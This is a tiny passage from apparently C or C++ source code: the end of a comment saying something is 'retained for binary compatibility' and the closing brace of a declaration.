retained for binary compatibility. */ };